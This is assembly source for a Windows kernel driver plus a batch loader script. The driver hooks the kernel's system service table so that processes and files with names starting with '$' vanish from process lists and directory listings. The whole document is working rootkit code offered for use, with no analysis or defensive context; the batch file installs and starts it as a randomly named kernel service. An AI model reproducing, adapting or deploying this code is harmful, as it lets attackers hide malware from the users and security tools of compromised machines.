format pe native
section '' readable writeable executable
    entry $
mov eax,[esp+4]
mov dword [eax+0x34],DriverUnload

mov eax,[KeServiceDescriptorTable]
mov ecx,[eax+8]
mov eax,[eax]
mov edx,[NtQuerySystemInformation]

    list1:

cmp edx,[eax+ecx*4-4]
jz listed1
loop list1

jmp exit

    listed1:
lea eax,[eax+ecx*4-4]
mov [adres1],eax

mov dword [eax],hook1

mov eax,[KeServiceDescriptorTable]
mov ecx,[eax+8]
mov eax,[eax]
mov edx,[NtQueryDirectoryFile]

    list2:

cmp edx,[eax+ecx*4-4]
jz listed2
loop list2

jmp exit

    listed2:
lea eax,[eax+ecx*4-4]
mov [adres2],eax

mov dword [eax],hook2

exit:
xor eax,eax
retn 8

    DriverUnload:
mov ecx,[NtQuerySystemInformation]
mov edx,[adres1]
mov [edx],ecx

mov ecx,[NtQueryDirectoryFile]
mov edx,[adres2]
mov [edx],ecx
retn 4

    hook1:
cmp dword [esp+4],5
jne wrong1

mov esi,[esp+8]
mov edi,[esp]
mov dword [esp],procedure1

    wrong1:
jmp [NtQuerySystemInformation]

    procedure1:
test eax,eax
jnz err1

jmp next1

    query1:
add esi,[esi]

cmp [esi+60],eax
je next1

mov edx,[esi+60]
cmp dword [edx],0x00240024
jne next1

mov edx,[esi]
test edx,edx
jz zero1
add [ebx],edx
jmp keep1
    zero1:
mov [ebx],eax
jmp keep1

    next1:
mov ebx,esi
    keep1:

cmp [esi],eax
jnz query1

err1:
jmp edi

    hook2:
cmp dword [esp+32],3
jne wrong2

mov esi,[esp+24]
mov edi,[esp]
mov dword [esp],procedure2

    wrong2:
jmp [NtQueryDirectoryFile]

    procedure2:
test eax,eax
jnz err2

jmp next2

    query2:
add esi,[esi]

cmp dword [esi+94],0x00240024
jne next2

mov edx,[esi]
test edx,edx
jz zero2
add [ebx],edx
jmp keep2
    zero2:
mov [ebx],eax
jmp keep2

    next2:
mov ebx,esi
    keep2:

cmp [esi],eax
jnz query2

err2:
jmp edi
    adres1 rd 1
    adres2 rd 1

section '' import readable
dd RVA ntoskrnl_table,0,0,RVA ntoskrnl_name,RVA ntoskrnl_table
dd 0,0,0,0,0

    ntoskrnl_table:
    KeServiceDescriptorTable dd RVA _KeServiceDescriptorTable
    NtQuerySystemInformation dd RVA _NtQuerySystemInformation
    NtQueryDirectoryFile dd RVA _NtQueryDirectoryFile
dd 0

    ntoskrnl_name db 'ntoskrnl.exe',0

    _KeServiceDescriptorTable db 0,0,'KeServiceDescriptorTable',0
    _NtQuerySystemInformation db 0,0,'NtQuerySystemInformation',0
    _NtQueryDirectoryFile db 0,0,'NtQueryDirectoryFile',0

section '' fixups discardable

@echo off
set a="%random%%random%%random%"
    sc create %a% type= kernel binPath= "%cd%\test.sys"
    sc start %a%
echo:
echo Press ANY key to unload Driver
    pause>nul
    sc stop %a%
    sc delete %a%
echo:
pause